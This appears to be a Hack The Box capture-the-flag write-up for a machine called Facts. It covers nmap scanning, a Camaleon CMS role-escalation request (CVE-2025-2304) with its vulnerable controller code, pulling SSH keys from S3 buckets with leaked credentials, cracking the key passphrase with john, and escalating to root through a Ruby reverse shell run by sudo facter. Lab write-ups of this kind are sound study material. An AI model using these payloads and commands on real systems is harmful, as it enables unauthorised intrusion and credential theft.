Table of contents
Open Table of contents
Recon
First, scan all ports with nmap:
sudo nmap -p- --min-rate 5000 -T4 -n -Pn --open <MACHINE_IP>
Open ports found:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
54321/tcp open unknown
Deep scan on those ports:
sudo nmap -sC -sV -O -p 22,80,54321 <MACHINE_IP>
Result:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
|_http-server-header: nginx/1.26.3 (Ubuntu)
54321/tcp open http Golang net/http server
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 209.76 seconds
Three main ports: 22 (SSH), 80 (HTTP/nginx, redirects to http://facts.htb), and 54321 (Go web server). Add facts.htb to the hosts file.
Port 54321 redirects to 9001 — odd.
Found /admin on the web server serving a login page:

Creating a new account works:

Interesting information found in the admin panel:

Shell as trivia
The site uses Camaleon CMS v2.9.0. Researched CVE-2026-1776 first:
Inspecting the dashboard network tab to find where assets are stored:

Likely stored at /randomfacts. Tried path traversal:
http://facts.htb/randomfacts/....//....//....//....//etc/passwd

Response suggested AWS S3 bucket. OSINT led to http://randomfacts.s3.amazonaws.com/:

Access denied. CVE-2026-1776 was a dead end.
Next, looked at CVE-2025-2304:
Profile edit section at /admin/profile/edit shows the current user registered as Client:

Cannot edit role through the UI. After researching Camaleon CMS v2.9.0 source code, found two potential roles:
# Line 34
{ 'admin' => 'Administrator', 'client' => 'Client' }
Profile update endpoint: POST /admin/users/{user_id}/updated_ajax:

Researched the updated_ajax keyword in the repo, leading to updated_ajax_spec.rb and the vulnerable controller.
Exploit payload:
POST /admin/users/{user_id}/updated_ajax
_method=patch&authenticity_token=mzTFc_PVW-hyTycOBStiJuo4nEb7WsTpvADa4huj7aiAvNO7CFkXz-Ehua_XnZtmGYjyUP27fO-_lI-WGFXTWw&password%5Bpassword%5D=rafi123&password%5Bpassword_confirmation%5D=rafi123&password%5Brole%5D=admin
Successfully logged in as admin:

Navigated to Settings → General Site → Filesystem Settings. Found AWS S3 configuration with access key and secret key:

This instance is S3-compatible (likely LocalStack mimicking AWS locally, not real AWS since the HTB machine isn’t exposed to the internet).
Set up AWS CLI profile:

Created static variables for cleaner commands:

List all buckets:
aws --profile "$P" --endpoint-url "$EP" s3api list-buckets

Enumerate objects in both buckets.
internal:
aws --profile "$P" --endpoint-url "$EP" s3api list-objects-v2 --bucket "internal" --max-keys 50
{
"IsTruncated": true,
"Contents": [
{
"Key": ".bash_logout",
"LastModified": "2026-01-08T18:45:13.150000+00:00",
"ETag": "\"22bfb8c1dd94b5f3813a2b25da67463f\"",
"Size": 220,
"StorageClass": "STANDARD"
},
{
"Key": ".bashrc",
"LastModified": "2026-01-08T18:45:13.157000+00:00",
"ETag": "\"f450a33bfc066d8d984d01042b5b9976\"",
"Size": 3900,
"StorageClass": "STANDARD"
}
]
}
randomfacts:
aws --profile "$P" --endpoint-url "$EP" s3api list-objects-v2 --bucket "randomfacts" --max-keys 200
{
"IsTruncated": false,
"Contents": [
{ "Key": "animalejected.png", "Size": 446847 },
{ "Key": "annefrankasteroid.png", "Size": 271210 },
{ "Key": "catsattachment.png", "Size": 255778 },
{ "Key": "cuteanimals.png", "Size": 411597 }
]
}
Examine individual objects:
aws --endpoint-url "$EP" s3api head-object --bucket "<BUCKET_NAME>" --key "<KEY_NAME>"
The internal bucket had "IsTruncated": true. Used the continuation token to paginate:
aws --profile "$P" --endpoint-url "$EP" s3api list-objects-v2 --bucket "internal" --max-keys 1000000 --continuation-token "xxx"
Found SSH files:

Downloaded them:
aws --profile "$P" --endpoint-url "$EP" s3 cp "s3://internal/.ssh/id_ed25519" /home/rafi/playground/htb/facts/ssh/id_ed25519
aws --profile "$P" --endpoint-url "$EP" s3 cp "s3://internal/.ssh/authorized_keys" /home/rafi/playground/htb/facts/ssh/authorized_keys
Note: At this point I was stuck for about a day. See the 1st Rabbit Hole section below.
Extracted the passphrase from id_ed25519 using ssh2john and john:
ssh2john id_ed25519 > id_ed25519.hash
john --wordlist=/path/to/wordlist id_ed25519.hash

Passphrase obtained. Used it to extract the public key and find the SSH username:
chmod 600 id_ed25519
ssh-keygen -y -f id_ed25519

The comment contained the username trivia.


Shell as trivia achieved.
Shell as Root
Checked sudo privileges:
sudo -l

User can run facter as any user (including root) with no password.
facter executes Ruby files from a specified directory. Created a Ruby reverse shell script:

Executed the exploit:
sudo facter --custom-dir=/tmp/ x

Root shell obtained.
CVE-2025-2304 Detail
Vulnerability: Mass assignment / privilege escalation in Camaleon CMS updated_ajax.
Vulnerable file: app/controllers/camaleon_cms/admin/users_controller.rb
Vulnerable line (v2.9.0): 55
Vulnerable method: updated_ajax (lines 52–59)
def updated_ajax
@user = current_site.users.find(params[:user_id])
update_session = current_user_is?(@user)
@user.update(params.require(:password).permit!) # VULNERABLE
render inline: @user.errors.full_messages.join(', ')
update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end
Why vulnerable: permit! allows all nested attributes in the password parameter, enabling mass assignment on sensitive columns like role.
Proof links:
Fix: Line 55 changed from permit! to an explicit allowlist permitting only password and password_confirmation.
Attack Path Flow
-
Route accepts request:
PATCH /admin/users/:user_id/updated_ajax(defined inconfig/routes/admin.rb) -
Auth gate is weak for own user:
validate_roleallows request ifuser_id_parammatches current user’s ID or user has:manage, :userspermission:(user_id_param.present? && cama_current_user.id.to_s == user_id_param) || authorize!(:manage, :users)Source: users_controller.rb
-
Legit form shows expected param shape: Password modal submits to
cama_admin_user_updated_ajax_path(@user)with fieldspassword[password]andpassword[password_confirmation]. Source: form.html.erb -
Sink accepts all nested keys:
@user.update(params.require(:password).permit!)—require(:password)only checks the outer key exists, thenpermit!trusts every inner key. -
Escalation possible because: User model has writable columns including
role,auth_token,password_digest,password_reset_token,is_valid_email. Schema source: schema.rb -
Most important field:
users.role(default:"client"). Admin UI treats role as privileged.
Short version: Attacker uses PATCH /admin/users/:own_id/updated_ajax → params[:password][...] → permit! → @user.update(...) → write sensitive columns including role.
Key insight: The bug is not from visible form fields — it’s from the server trusting extra hidden nested keys under password.
1st Rabbit Hole
After obtaining id_ed25519 and authorized_keys, the HTB machine was shut down and resumed the next day. The stored key no longer worked:

Instead of prompting for a passphrase, SSH kept asking for a password:

The reason: the local id_ed25519 was a different keypair from the current one on the box.
Verification:
- Old local key fingerprint:
SHA256:i4VreLiEsOR5o1OZ7SkZcXxW0x3UYF5SwpgK+jqDqR0 - Current bucket key fingerprint:
SHA256:76YkIsmReHe0e+dgcTHJeP/xCJqaR3CQW6XtoS+6D/k
Public keys differ:
- Old:
AAAAC3NzaC1lZDI1NTE5AAAAIOXC39McYE7pQhJKt8/6P9iAbfVxeKr/R4y02n6I/p4A - New:
AAAAC3NzaC1lZDI1NTE5AAAAIGL3njLb1vCB2YK3W/wu/lCX1ypFkbHDNVt7LyW0FS08
The old local id_ed25519 matched the old authorized_keys artifact from a previous run of the same box, where trivia had a different SSH key. The passphrase (dragonballz) was still correct, but SSH auth failed because the server no longer trusted that old public key. The machine’s current ~/.ssh/authorized_keys contained the newer public key.
Root cause: The local id_ed25519 was stale — it belonged to an older instance of the box.
